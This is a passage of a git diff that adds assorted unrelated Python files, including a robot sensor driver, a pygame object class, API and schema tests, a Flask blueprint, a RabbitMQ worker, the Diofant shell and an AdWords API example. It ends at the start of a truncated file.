""" + Getter proximity sensor + + :return: proximity sensor values + :rType: tuple [0, 0, 0, 0, 0, 0, 0, 0] all values in {0,1} + """ + if not self._robot.getConnectionStatus(): + logging.exception('No connection available') + raise Exception, 'No connection available' + + _rNumber = self._robot.getRNumber() + order = [_rNumber, 4, 3, 1] + response = self._communication.send_receive(order) + i = 0 + while response == 'fail': + response = self._communication.send_receive(order) + if i > 4: + return lMisc.fail(20) + i = i + 1 + while int(response[0]) != _rNumber: + response = self._communication.receive(order) + if int(response[0]) == _rNumber: + if response[2] != '102': + data_response = lMisc.fail(response[2]) + else: + data_response = lMisc.to_bin(response[3], 8) + else: + data_response = lMisc.fail(55) + + logging.debug(data_response) + return data_response + + def setSensitivity(self, sens): # Set the threshold value for the distance sensors + """ + Setter proximity sensor sensitivity + + :parameter: sens + :pType: Integer [0,1023] + """ + if not self._robot.getConnectionStatus(): + logging.exception('No connection available') + raise Exception, 'No connection available' + + if not 0 <= sens <= 1023: + raise ValueError('ERROR: Invalid parameter for "sens"! (0 - 1023 expected)') + sens_tmp = struct.unpack('BB', struct.pack('H', sens)) + sens_int1 = sens_tmp[0] + sens_int2 = sens_tmp[1] + order = [self._robot.getRNumber(), 5, 201, sens_int1, sens_int2] + logging.debug(order) + i = 0 + while self._communication.send(order) == 'fail': + if i > 4: + return lMisc.fail(20) + i = i + 1 + + def getSensitivity(self): # Get the threshold value for the distance sensors + """ + Getter proximity sensor sensitivity + + :return: sensitivity + :rType: Integer [0,1023] + """ + if not self._robot.getConnectionStatus(): + logging.exception('No connection available') + raise Exception, 'No connection available' + + _rNumber = self._robot.getRNumber() + order = [_rNumber, 3, 207] + response = self._communication.send_receive(order) + i = 0 + while response == 'fail': + response = self._communication.send_receive(order) + if i > 4: + return lMisc.fail(20) + i = i + 1 + while int(response[0]) != _rNumber: + response = self._communication.receive(order) + if int(response[0]) == _rNumber: + if response[2] != '108': + data_response = lMisc.fail(response[2]) + else: + data_response = (int(response[4]) << 8) + int(response[3]) + else: + data_response = lMisc.fail(55) + + logging.debug(data_response) + return data_response \ No newline at end of file diff --git a/pool/shard000/Python/0008788_object.py b/pool/shard000/Python/0008788_object.py new file mode 100644 index 0000000000000000000000000000000000000000..9a530ad2965d1273b57d0c62e8e28469aeb45ca3 --- /dev/null +++ b/pool/shard000/Python/0008788_object.py @@ -0,0 +1,86 @@ +# engine.physics.object + +import os +from pygame.sprite import Sprite +from ..engine import Engine + +class Object: + def __init__(self, position, dimensions, collidable): + super().__init__() + self._posX = position[0] + self._posY = position[1] + self._width = dimensions[0] + self._height = dimensions[1] + self._collidable = collidable + self._surface = None + self._rect = None + self._sprite = None + + @property + def image(self): + return self._surface + + def setImage(self, imagePath): + image = Engine.PyGame.image.load(os.path.join(imagePath)) + image.convert() + image = Engine.PyGame.transform.scale(image, + (self._width, self._height)) + self._surface = image + self._rect = image.get_rect() + self._sprite = Sprite() + self._sprite.image = self._surface + self.updateRect() + + def updateRect(self): + self._rect.x = self._posX + self._rect.y = self._posY + self._sprite.rect = self._rect + + @property + def surface(self): + return self._surface + + @property + def sprite(self): + return self._sprite + + @property + def position(self): + return (self._posX, self._posY) + + @position.setter + def position(self, position): + self._posX = position[0] + self._posY = position[1] + self.updateRect() + + @property + def positionX(self): + return self._posX + + @positionX.setter + def positionX(self, x): + self._posX = x + self.updateRect() + + @property + def positionY(self): + return self._posY + + @positionY.setter + def positionY(self, y): + self._posY = y + self.updateRect() + + @property + def rectangle(self): + return self._rect + + @property + def dimensions(self): + return (self._width, self._height) + + @dimensions.setter + def dimensions(self, dimensions): + self._width = dimensions[0] + self._height = dimensions[1] diff --git a/pool/shard000/Python/0008794_test_schema.py b/pool/shard000/Python/0008794_test_schema.py new file mode 100644 index 0000000000000000000000000000000000000000..cff2c646bff6f47ea5598ce0d7732f38ad5bc83e --- /dev/null +++ b/pool/shard000/Python/0008794_test_schema.py @@ -0,0 +1,47 @@ +import json +import uuid + +import pytest +from jsonschema import ValidationError + +from app.schema_validation import validate +from app.service.service_callback_api_schema import ( + update_service_callback_api_schema, +) + + +def test_service_callback_api_schema_validates(): + under_test = {"url": "https://some_url.for_service", + "bearer_token": "something_ten_chars", + "updated_by_id": str(uuid.uuid4()) + } + + validated = validate(under_test, update_service_callback_api_schema) + assert validated == under_test + + +@pytest.mark.parametrize("url", ["not a url", "https not a url", "http://valid.com"]) +def test_service_callback_api_schema_errors_for_url_not_valid_url(url): + under_test = {"url": url, + "bearer_token": "something_ten_chars", + "updated_by_id": str(uuid.uuid4()) + } + + with pytest.raises(ValidationError) as e: + validate(under_test, update_service_callback_api_schema) + errors = json.loads(str(e.value)).get('errors') + assert len(errors) == 1 + assert errors[0]['message'] == "url is not a valid https url" + + +def test_service_callback_api_schema_bearer_token_under_ten_char(): + under_test = {"url": "https://some_url.for_service", + "bearer_token": "shorty", + "updated_by_id": str(uuid.uuid4()) + } + + with pytest.raises(ValidationError) as e: + validate(under_test, update_service_callback_api_schema) + errors = json.loads(str(e.value)).get('errors') + assert len(errors) == 1 + assert errors[0]['message'] == "bearer_token shorty is too short" diff --git a/pool/shard000/Python/0008796_test_app_details.py b/pool/shard000/Python/0008796_test_app_details.py new file mode 100644 index 0000000000000000000000000000000000000000..8f4bc4eaddbfca660eb3c56cdd6e92110109fa20 --- /dev/null +++ b/pool/shard000/Python/0008796_test_app_details.py @@ -0,0 +1,140 @@ +from __future__ import absolute_import + +import json +import mock + +from freight.models import App +from freight.testutils import TestCase + + +class AppDetailsBase(TestCase): + def setUp(self): + self.user = self.create_user() + self.repo = self.create_repo() + self.app = self.create_app(repository=self.repo) + self.path = '/api/0/apps/{}/'.format(self.app.id) + super(AppDetailsBase, self).setUp() + + +class AppDetailsTest(AppDetailsBase): + def test_simple(self): + resp = self.client.get(self.path) + assert resp.status_code == 200 + data = json.loads(resp.data) + assert data['id'] == str(self.app.id) + + +class AppUpdateTest(AppDetailsBase): + def test_simple(self): + resp = self.client.put(self.path, data={ + 'name': 'foobar', + 'provider': 'shell', + 'provider_config': '{"command": "/usr/bin/true", "timeout": 50}', + 'notifiers': '[{"type": "slack", "config": {"webhook_url": "https://example.com"}}]', + 'checks': '[{"type": "github", "config": {"contexts": ["travisci"], "repo": "getsentry/freight"}}]', + 'repository': 'git@example.com:repo-name.git', + 'environments': '{"staging": {"default_ref": "develop"}}', + }) + assert resp.status_code == 200 + data = json.loads(resp.data) + assert data['id'] == str(self.app.id) + + app = App.query.get(self.app.id) + assert app.name == 'foobar' + assert app.provider == 'shell' + assert app.provider_config['command'] == '/usr/bin/true' + assert app.provider_config['timeout'] == 50 + assert app.notifiers == [ + {'type': 'slack', 'config': {'webhook_url': 'https://example.com'}}, + ] + + assert len(app.checks) == 1 + assert app.checks[0]['type'] == 'github' + assert app.checks[0]['config'] == {'contexts': ['travisci'], 'repo': 'getsentry/freight'} + assert len(app.environments) == 1 + assert app.environments['staging'] == {'default_ref': 'develop'} + + def test_no_params(self): + resp = self.client.put(self.path) + assert resp.status_code == 200 + data = json.loads(resp.data) + assert data['id'] == str(self.app.id) + + app = App.query.get(self.app.id) + assert app.name == self.app.name + assert app.provider == self.app.provider + assert app.provider_config == self.app.provider_config + + def test_invalid_provider(self): + resp = self.client.put(self.path, data={ + 'provider': 'invalid', + }) + assert resp.status_code == 400 + data = json.loads(resp.data) + assert data['error_name'] == 'invalid_provider' + + def test_invalid_provider_config(self): + resp = self.client.put(self.path, data={ + 'provider': 'shell', + 'provider_config': '{}', + }) + assert resp.status_code == 400 + data = json.loads(resp.data) + assert data['error_name'] == 'invalid_provider' + + def test_invalid_notifier(self): + resp = self.client.put(self.path, data={ + 'notifiers': '[{"type": "invalid"}]', + }) + assert resp.status_code == 400 + data = json.loads(resp.data) + assert data['error_name'] == 'invalid_notifier' + + def test_invalid_notifier_config(self): + resp = self.client.put(self.path, data={ + 'notifiers': '[{"type": "slack", "config": {}}]', + }) + assert resp.status_code == 400 + data = json.loads(resp.data) + assert data['error_name'] == 'invalid_notifier' + + def test_invalid_check(self): + resp = self.client.put(self.path, data={ + 'checks': '[{"type": "invalid"}]', + }) + assert resp.status_code == 400 + data = json.loads(resp.data) + assert data['error_name'] == 'invalid_check' + + def test_invalid_check_config(self): + resp = self.client.put(self.path, data={ + 'checks': '[{"type": "github", "config": {}}]', + }) + assert resp.status_code == 400 + data = json.loads(resp.data) + assert data['error_name'] == 'invalid_check' + + def test_invalid_environments_type(self): + resp = self.client.put(self.path, data={ + 'environments': '[{"type": "github", "config": {}}]', + }) + assert resp.status_code == 400 + data = json.loads(resp.data) + assert data['error_name'] == 'invalid_environment' + + resp = self.client.put(self.path, data={ + 'environments': '{"foo": []}', + }) + assert resp.status_code == 400 + data = json.loads(resp.data) + assert data['error_name'] == 'invalid_environment' + + +class AppDeleteTest(AppDetailsBase): + @mock.patch('freight.config.celery.send_task') + def test_simple(self, mock_send_task): + self.create_task(app=self.app, user=self.user) + resp = self.client.delete(self.path) + assert resp.status_code == 200 + + mock_send_task.assert_called_once_with('freight.delete_object', kwargs={'model': 'App', 'app_id': self.app.id}) diff --git a/pool/shard000/Python/0008797_setup.py b/pool/shard000/Python/0008797_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..01a1762f28f5422eb99d5e9d62591dbdc59457bb --- /dev/null +++ b/pool/shard000/Python/0008797_setup.py @@ -0,0 +1,72 @@ +from distutils.core import setup +from distutils.extension import Extension + +cmdclass = { } + +try: + from Cython.Distutils import build_ext + cmdclass.update({ 'build_ext': build_ext }) + EXT = ".pyx" +except: + EXT = ".c" + +NAME = "cypyserialize" +VERSION = "1.0.4" +DESCR = "Really easy, really quick, binary parser framework for Python" + +try: + import pypandoc + LONG_DESC = pypandoc.convert('README.md', 'rst') +except (IOError, ImportError): + LONG_DESC = open('README.md').read() + +URL = "https://github.com/wrenoud/cypyserialize" +DOWNLOAD_URL = "https://github.com/wrenoud/cypyserialize/tarball/" + VERSION + +AUTHOR = "Weston Renoud" +EMAIL = "wrenoud@gmail.com" + +LICENSE = "Apache 2.0" + +SRC_DIR = ".\\" + NAME +PACKAGES = [NAME] + +EXTENSIONS = [ + Extension( + "variant", + [SRC_DIR + '/variant' + EXT], + libraries=[] + ), + Extension( + "serializers", + [SRC_DIR + '/serializers' + EXT], + libraries=[] + ), + Extension( + "serializable", + [SRC_DIR + '/serializable' + EXT], + libraries=[] + ) +] + +REQUIRES = [] + + +setup( + name=NAME, + packages=PACKAGES, + version=VERSION, + description=DESCR, + long_description=LONG_DESC, + author=AUTHOR, + author_email=EMAIL, + url=URL, + download_url=DOWNLOAD_URL, + keywords=['testing', 'logging', 'example'], # arbitrary keywords + classifiers=[], + license=LICENSE, + cmdclass=cmdclass, + ext_package=NAME, + ext_modules=EXTENSIONS, + install_requires=REQUIRES, +) diff --git a/pool/shard000/Python/0008803_api.py b/pool/shard000/Python/0008803_api.py new file mode 100644 index 0000000000000000000000000000000000000000..cec3ac64d990943afd9a54597a125a15ed17e4f7 --- /dev/null +++ b/pool/shard000/Python/0008803_api.py @@ -0,0 +1,114 @@ +# -*- coding: utf-8 -*- +from flask import Blueprint, jsonify, current_app, request + +from ..webapp import db, redis, basic_auth +from ..action import (stats, scanner, record_manager, genre_manager, user_settings, + scan_manager, export_manager, debug) + +bp = Blueprint('api', __name__) + + +@bp.before_request +def check_auth(): + if not basic_auth.authenticate(): + return basic_auth.challenge() + + +@bp.route('/stats') +def get_stats(): + overview = stats.get_overview(db.session) + scans = stats.active_scans(db.session) + return jsonify({'stats': overview, 'scans': scans}) + + +@bp.route('/run_scan/') +@bp.route('/run_scan/', defaults={'genre_id': None}) +def run_scan(genre_id): + sc = scanner.Scanner(current_app.config, db.session, redis._redis_client) + try: + sc.enqueue_scan(genre_id) + except scanner.ScanError as e: # Scan already queued + return jsonify({'success': False, 'message': str(e)}) + else: + return jsonify({'success': True}) + + +@bp.route('/abort_scan/') +@bp.route('/abort_scan/', defaults={'scan_id': None}) +def abort_scan(scan_id=None): + scn = scanner.Scanner(current_app.config, db.session, redis) + + if scan_id is None: + scan_id = int(request.args.get('scan_id')) + + try: + scn.abort_scan(scan_id) + except scanner.ScanError as e: # no such scan or scan not started + return jsonify({'success': False, 'message': str(e)}) + else: + return jsonify({'success': True}) + + +@bp.route('/update_genre') +def update_genre(): + genre_id = int(request.args['gid']) + field = request.args['f'] + value = int(request.args['v']) + genman = genre_manager.GenreManager(db.session) + genre = genman.get(genre_id) + setattr(genre, field, value) + return jsonify({'success': True}) + + +@bp.route('/record_list') +def record_list(): + filters = {k[2:]: int(v) for k, v in request.args.items() if k.startswith('f_') and v} + search_term = request.args.get('search', None) + order = request.args.get('order', 'id') + offset = request.args.get('offset', 0) + + recman = record_manager.RecordManager(db.session) + records = recman.list(filters=filters, search=search_term, order=order, + offset=offset) + return jsonify({'records': [rec.to_dict() for rec in records]}) + + +@bp.route('/record//toggle_flag') +def toggle_record_flag(rec_id): + flagname = request.args.get('flagname') + recman = record_manager.RecordManager(db.session) + return jsonify({'success': recman.toggle_flag(rec_id, flagname)}) + + +@bp.route('/save_settings', methods=['POST']) +def save_settings(): + settings = user_settings.UserSettings(db.session) + + for item in request.json: + settings[item['name']] = item['value'] + + return jsonify({'success': True}) + + +@bp.route('/run_scheduled') +def run_scheduled(): + """ + Run regular scheduled task + """ + sc = scanner.Scanner(current_app.config, db.session, redis._redis_client) + rv = sc.tick() + return jsonify(rv) + + +@bp.route('/tidy') +def tidy(): + """ + Run daily cleanup + """ + sm = scan_manager.ScanManager(db.session) + sm.clean_up_old_scans() + em = export_manager.ExportManager(db.session) + em.clean_up_old_exports() + dumps_glob = "{}/*.html".format(current_app.config['LOGS_DIR']) + debug.clean_old_dumps(dumps_glob) + return jsonify({'success': True}) diff --git a/pool/shard000/Python/0008809_rabbitmq_worker.py b/pool/shard000/Python/0008809_rabbitmq_worker.py new file mode 100644 index 0000000000000000000000000000000000000000..4cb384236a0afbabddeb2f9eae0da09c5f2187fb --- /dev/null +++ b/pool/shard000/Python/0008809_rabbitmq_worker.py @@ -0,0 +1,209 @@ +#!venv/bin/python +"""SCO Workflow Engine Server - Implementation of the workflow server as a +RabbitMQ worker. +""" +import getopt +import json +import logging +import pika +import sys + +from scocli import SCOClient +from scodata import SCODataStore +from scodata.mongo import MongoDBFactory +from scoengine import ModelRunRequest, SCOEngine +from scoworker import SCODataStoreWorker, SCOClientWorker + + +# ------------------------------------------------------------------------------ +# +# Global Variables +# +# ------------------------------------------------------------------------------ + +# Worker instance to handle model run request +worker = None + + +# ------------------------------------------------------------------------------ +# +# RabbitMQ Callback handle +# +# ------------------------------------------------------------------------------ + +def callback(ch, method, properties, body): + """Callback handler for client requests. Uses local worker, i.e. expects to + be running on the same machine as the SCO data store. + """ + # Acknowledge that message is received. NOTE: There seems to be an issue + # with redelivering messages when we have multiple workers. Thus, for now + # we acknowledge immediately + ch.basic_ack(delivery_tag = method.delivery_tag) + # Read model run request (expects Json object) + try: + request = ModelRunRequest.from_dict(json.loads(body)) + except Exception as ex: + logging.exception(ex) + #ch.basic_ack(delivery_tag = method.delivery_tag) + return + # Request identifier for logging purposes + req_id = request.experiment_id + ':' + request.run_id + # Run request using local worker + logging.info('Start model run [' + req_id + ']') + worker.run(request) + logging.info('Done [' + req_id + ']') + + +def handle_requests(hostname, port, virtual_host, queue, user, password): + """Put all code to handle requests into one routine. Allows to catch + ConnectionClosed exceptions without having the worker exit. + """ + # Establish connection with RabbitMQ server + logging.info('Start : [HOST=' + hostname + ', QUEUE=' + queue + ']') + credentials = pika.PlainCredentials(user, password) + con = pika.BlockingConnection(pika.ConnectionParameters( + host=hostname, + port=port, + virtual_host=virtual_host, + credentials=credentials + )) + channel = con.channel() + channel.queue_declare(queue=queue, durable=True) + # Fair dispatch. Never give a worker more than one message + channel.basic_qos(prefetch_count=1) + # Set callback handler to read requests and run the predictive model + channel.basic_consume(callback, queue=queue) + # Done. Start by waiting for requests + logging.info('Waiting for requests. To exit press CTRL+C') + channel.start_consuming() + + +if __name__ == '__main__': + """Run the RabbitMQ worker. Usage: + + rabbitmq_worker [parameters] + + Parameters: + ----------- + + -c, --port : Port that the RabbitMQ server is listening on (default: 5672) + -d, --data : Path to data store directory or client cache (default '/tmp/sco') + -e, --env= : Path to directory for average subject [mandatory] + -h, --host= : Name of host running RabbitMQ server (default: localhost) + -l, --log= : Log file name (default: standard output) + -m, --mongodb= : Name of MongoDB database for local datastore worker (default: sco) + -p, --password : RabbitMQ user password (default: '') + -q, --queue= : Name of RabbitMQ message queue (default: sco) + -s, --server : Url for SCO Web API server (only if remote worker is used) + -u, --user : RabbitMQ user (default: sco) + -v, --vhost : RabbitMQ virtual host name + """ + # Configuration parameter + data_dir = '/tmp/sco' + mongo_db = 'sco' + env_dir = None + hostname = 'localhost' + queue = 'sco' + logfile = None + password = '' + port = 5672 + remote_worker = False + server_url = None + user = 'sco' + virtual_host = '/' + # Get command line arguments + try: + opts, args = getopt.getopt( + sys.argv[1:], + 'c:d:e:h:q:l:m:p:s:u:v:', + ['data=', 'env=', 'host=', 'queue=', 'log=', 'mongodb=', 'password=', 'port=', 'server=', 'user=', 'vhost='] + ) + except getopt.GetoptError: + print """rabbitmq_worker [parameters] + + Parameters: + ----------- + + -c, --port : Port that the RabbitMQ server is listening on (default: 5672) + -d, --data : Path to data store directory or client cache (default '/tmp/sco') + -e, --env= : Path to directory for average subject [mandatory] + -h, --host= : Name of host running RabbitMQ server (default: localhost) + -l, --log= : Log file name (default: standard output) + -m, --mongodb= : Name of MongoDB database for local datastore worker (default: sco) + -p, --password : RabbitMQ user password (default: '') + -q, --queue= : Name of RabbitMQ message queue (default: sco) + -s, --server : Url for SCO Web API server (only if remote worker is used) + -u, --user : RabbitMQ user (default: sco) + -v, --vhost : RabbitMQ virtual host name (default: /) + """ + sys.exit() + for opt, param in opts: + if opt in ('-c', '--port'): + try: + port = int(param) + except ValueError as ex: + print 'Invalid port: ' + param + sys.exit() + elif opt in ('-d', '--data'): + data_dir = param + elif opt in ('-e', '--env'): + env_dir = param + elif opt in ('-h', '--host'): + hostname = param + elif opt in ('-l', '--log'): + logfile = param + elif opt in ('-m', '--mongodb'): + mongo_db = param + elif opt in ('-p', '--password'): + password = param + elif opt in ('-q', '--queue'): + queue = param + elif opt in ('-r', '--remote'): + remote_worker = True + elif opt in ('-s', '--server'): + # Only if the server Url is given the remote worker is used + server_url = param + remote_worker = True + elif opt in ('-u', '--user'): + user = param + elif opt in ('-v', '--vhost'): + virtual_host = param + # Ensure that mandatory parameter -e|--env was given + if env_dir is None: + print 'Missing value for parameter -e | --env' + sys.exit() + # Initialize message and error logging + if not logfile is None: + logging.basicConfig( + filename=logfile, + level=logging.INFO, + format='%(asctime)s %(levelname)s:%(message)s' + ) + else: + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s %(levelname)s:%(message)s' + ) + # Set worker instance based on given parameter + if remote_worker: + worker = SCOClientWorker( + SCOClient(api_url=server_url, data_dir=data_dir), + env_dir + ) + logging.info('Worker : [Remote]') + else: + mongo = MongoDBFactory(db_name=mongo_db) + worker = SCODataStoreWorker( + SCODataStore(mongo, data_dir), + SCOEngine(mongo), + env_dir + ) + logging.info('Worker : [Local]') + # Start an endless loop to handle requests. Necessary because pika throws + # ConnectionClosed exception occasionally when sending acknowledgement. This + # way we can keep a remote worker alive by re-connecting. + while True: + try: + handle_requests(hostname, port, virtual_host, queue, user, password) + except pika.exceptions.ConnectionClosed as ex: + logging.exception(ex) diff --git a/pool/shard000/Python/0008814_qa_sss_tagger_cc.py b/pool/shard000/Python/0008814_qa_sss_tagger_cc.py new file mode 100644 index 0000000000000000000000000000000000000000..fd417f649ac1a4ab9fba22ad4d63b08099c46fd1 --- /dev/null +++ b/pool/shard000/Python/0008814_qa_sss_tagger_cc.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# +# Copyright 2013 Communications Engineering Lab (CEL) / Karlsruhe Institute of Technology (KIT) +# +# This is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 3, or (at your option) +# any later version. +# +# This software is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this software; see the file COPYING. If not, write to +# the Free Software Foundation, Inc., 51 Franklin Street, +# Boston, MA 02110-1301, USA. +# + +from gnuradio import gr, gr_unittest +import lte_swig as lte + +class qa_sss_tagger_cc (gr_unittest.TestCase): + + def setUp (self): + self.tb = gr.top_block () + + def tearDown (self): + self.tb = None + + def test_001_t (self): + # set up fg + self.tb.run () + # check data + + +if __name__ == '__main__': + gr_unittest.run(qa_sss_tagger_cc, "qa_sss_tagger_cc.xml") diff --git a/pool/shard000/Python/0008822_main__.py b/pool/shard000/Python/0008822_main__.py new file mode 100644 index 0000000000000000000000000000000000000000..aad402c5c0f7cf266edc7b4c56f4494edd81e5fb --- /dev/null +++ b/pool/shard000/Python/0008822_main__.py @@ -0,0 +1,119 @@ +""" +Python shell for Diofant. + +This is just a normal Python shell (IPython shell if you have the +IPython package installed), that adds default imports and run +some initialization code. +""" + +import argparse +import ast +import atexit +import code +import os +import readline +import rlcompleter + +from diofant.interactive.session import (AutomaticSymbols, + IntegerDivisionWrapper) + + +__all__ = () + + +parser = argparse.ArgumentParser(description=__doc__, + prog='python -m diofant') +parser.add_argument('--no-wrap-division', + help="Don't wrap integer divisions with Fraction", + action='store_true') +parser.add_argument('-a', '--auto-symbols', + help="Automatically create missing Symbol's", + action='store_true') +parser.add_argument('--no-ipython', help="Don't use IPython", + action='store_true') + + +def main(): + args, ipython_args = parser.parse_known_args() + + lines = ['from diofant import *', + 'init_printing()', + "x, y, z, t = symbols('x y z t')", + "k, m, n = symbols('k m n', integer=True)", + "f, g, h = symbols('f g h', cls=Function)", + 'init_printing(pretty_print=True, use_unicode=True)'] + + try: + import IPython + import traitlets + except ImportError: + args.no_ipython = True + + if not args.no_ipython: + config = traitlets.config.loader.Config() + shell = config.InteractiveShell + ast_transformers = shell.ast_transformers + if not args.no_wrap_division: + ast_transformers.append(IntegerDivisionWrapper()) + shell.confirm_exit = False + config.TerminalIPythonApp.display_banner = False + config.TerminalInteractiveShell.autoformatter = None + + app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config) + app.initialize(ipython_args) + shell = app.shell + for l in lines: + shell.run_cell(l, silent=True) + if args.auto_symbols: + shell.run_cell('from diofant.interactive.session import AutomaticSymbols') + shell.run_cell('ip = get_ipython()') + shell.run_cell('ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))') + shell.run_cell('del ip') + app.start() + else: + ast_transformers = [] + ns = {} + + if not args.no_wrap_division: + ast_transformers.append(IntegerDivisionWrapper()) + if args.auto_symbols: + ast_transformers.append(AutomaticSymbols(ns)) + + class DiofantConsole(code.InteractiveConsole): + """An interactive console with readline support.""" + + def __init__(self, ast_transformers=[], **kwargs): + super().__init__(**kwargs) + + readline.set_completer(rlcompleter.Completer(ns).complete) + readline.parse_and_bind('tab: complete') + + history = os.path.expanduser('~/.python_history') + readline.read_history_file(history) + atexit.register(readline.write_history_file, history) + self.ast_transformers = ast_transformers + + def runsource(self, source, filename='', symbol='single'): + try: + tree = ast.parse(source) + except SyntaxError: + return True + + for t in self.ast_transformers: + tree = t.visit(tree) + ast.fix_missing_locations(tree) + + source = ast.unparse(tree) + source = source.split('\n') + source = ';'.join(source) + return super().runsource(source, filename=filename, symbol=symbol) + + c = DiofantConsole(ast_transformers=ast_transformers, locals=ns) + + for l in lines: + c.push(l) + c.interact('', '') + + +if __name__ == '__main__': # pragma: no branch + main() diff --git a/pool/shard000/Python/0008824_t_spnego_proxy.py b/pool/shard000/Python/0008824_t_spnego_proxy.py new file mode 100644 index 0000000000000000000000000000000000000000..e2ac7f95aef5f0a9ffcd23ba467a0bad23cf9114 --- /dev/null +++ b/pool/shard000/Python/0008824_t_spnego_proxy.py @@ -0,0 +1,35 @@ +#!/usr/bin/python +# Copyright (C) 2015 - mod_auth_gssapi contributors, see COPYING for license. + +import os +import requests +import gssapi +from base64 import b64encode + +def getAuthToken(target): + spnego_mech = gssapi.raw.OID.from_int_seq('1.3.6.1.5.5.2') + + name = gssapi.Name('HTTP@%s' % target, + gssapi.NameType.hostbased_service) + + ctx = gssapi.SecurityContext(name=name, mech=spnego_mech) + token = ctx.step() + + return 'Negotiate %s' % b64encode(token) + + +if __name__ == '__main__': + s = requests.Session() + + target = os.environ['NSS_WRAPPER_HOSTNAME'] + url = 'http://%s/spnego/' % target + + proxy = 'http://%s:%s' % (target, os.environ['WRAP_PROXY_PORT']) + proxies = { "http" : proxy, } + + s.headers.update({'Proxy-Authorization': getAuthToken(target)}) + s.headers.update({'Authorization': getAuthToken(target)}) + + r = s.get(url, proxies=proxies) + if r.status_code != 200: + raise ValueError('Spnego Proxy Auth Failed') diff --git a/pool/shard000/Python/0008832_create_shared_bidding_strategies.py b/pool/shard000/Python/0008832_create_shared_bidding_strategies.py new file mode 100644 index 0000000000000000000000000000000000000000..439325e0aab886822de81184b8d67f635f8d0e31 --- /dev/null +++ b/pool/shard000/Python/0008832_create_shared_bidding_strategies.py @@ -0,0 +1,178 @@ +#!/usr/bin/python +# +# Copyright 2013 Google Inc. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Adds a Shared Bidding Strategy and uses it to construct a campaign. + +Tags: BiddingStrategyService.mutate +Tags: BudgetService.mutate, CampaignService.mutate +""" + +__author__ = 'api.jdilallo@gmail.com (Joseph DiLallo)' + +import os +import sys +sys.path.insert(0, os.path.join('..', '..', '..', '..', '..')) + +# Import appropriate classes from the client library. +from adspygoogle import AdWordsClient +from adspygoogle.common import Utils + + +# Enter a shared budget ID to re-use an existing budget or leave as None to +# create a new one. +BUDGET_ID = None + + +def main(client, budget_id): + bidding_strategy = CreateBiddingStrategy(client) + + if budget_id is None: + budget = CreateSharedBudget(client) + budget_id = budget['budgetId'] + + CreateCampaignWithBiddingStrategy(client, bidding_strategy['id'], budget_id) + + +def CreateBiddingStrategy(client): + """Creates a bidding strategy object. + + Args: + client: AdWordsClient the client to run the example with. + + Returns: + dict An object representing a bidding strategy. + """ + # Initialize appropriate service. + bidding_strategy_service = client.GetBiddingStrategyService(version='v201309') + + # Create a shared bidding strategy. + shared_bidding_strategy = { + 'name': 'Maximize Clicks %s' % Utils.GetUniqueName(), + 'biddingScheme': { + 'xsi_type': 'TargetSpendBiddingScheme', + # Optionally set additional bidding scheme parameters. + 'bidCeiling': { + 'microAmount': '2000000' + } + } + } + + # Create operation. + operation = { + 'operator': 'ADD', + 'operand': shared_bidding_strategy + } + + response = bidding_strategy_service.mutate([operation])[0] + new_bidding_strategy = response['value'][0] + + print ('Shared bidding strategy with name \'%s\' and ID \'%s\' of type \'%s\'' + 'was created.' % + (new_bidding_strategy['name'], new_bidding_strategy['id'], + new_bidding_strategy['biddingScheme']['BiddingScheme_Type'])) + + return new_bidding_strategy + + +def CreateSharedBudget(client): + """Creates an explicit budget to be used only to create the Campaign. + + Args: + client: AdWordsClient the client to run the example with. + + Returns: + dict An object representing a shared budget. + """ + # Initialize appropriate service. + budget_service = client.GetBudgetService(version='v201309') + + # Create a shared budget + budget = { + 'name': 'Shared Interplanetary Budget #%s' % Utils.GetUniqueName(), + 'period': 'DAILY', + 'amount': { + 'microAmount': '2000000' + }, + 'deliveryMethod': 'STANDARD', + 'isExplicitlyShared': 'true' + } + + # Create operation. + operation = { + 'operator': 'ADD', + 'operand': budget + } + + response = budget_service.mutate([operation])[0] + return response['value'][0] + + +def CreateCampaignWithBiddingStrategy(client, bidding_strategy_id, budget_id): + """ Create a Campaign with a Shared Bidding Strategy. + + Args: + client: AdWordsClient the client to run the example with. + bidding_strategy_id: string the bidding strategy ID to use. + shared_budget_id: string the shared budget ID to use. + + Returns: + dict An object representing a campaign. + """ + # Initialize appropriate service. + campaign_service = client.GetCampaignService(version='v201309') + + # Create campaign. + campaign = { + 'name': 'Interplanetary Cruise #%s' % Utils.GetUniqueName(), + 'budget': { + 'budgetId': budget_id + }, + 'biddingStrategyConfiguration': { + 'biddingStrategyId': bidding_strategy_id + }, + 'settings': [{ + 'xsi_type': 'KeywordMatchSetting', + 'optIn': 'true' + }], + 'networkSetting': { + 'targetGoogleSearch': 'true', + 'targetSearchNetwork': 'true', + 'targetContentNetwork': 'true' + } + } + + # Create operation. + operation = { + 'operator': 'ADD', + 'operand': campaign + } + + response = campaign_service.mutate([operation])[0] + new_campaign = response['value'][0] + + print ('Campaign with name \'%s\', ID \'%s\' and bidding scheme ID \'%s\' ' + 'was created.' % + (new_campaign['name'], new_campaign['id'], + new_campaign['biddingStrategyConfiguration']['biddingStrategyId'])) + + return new_campaign + + +if __name__ == '__main__': + # Initialize client object. + client_ = AdWordsClient(path=os.path.join('..', '..', '..', '..', '..')) + + main(client_, BUDGET_ID) diff --git a/pool/shard000/Python/0008836_omgwtfnzbs.py b/pool/shard000/Python/0008836_omgwtfnzbs.py new file mode 100644 index 0000000000000000000000000000000000000000..3e71d13ca715d5ce6744b6aeb6fae0cf62461d81 --- /dev/null +++ b/pool/shard000/Python/0008836_omgwtfnzbs.py @@ -0,0 +1,185 @@ +# Author: Jordon Smith +# URL: 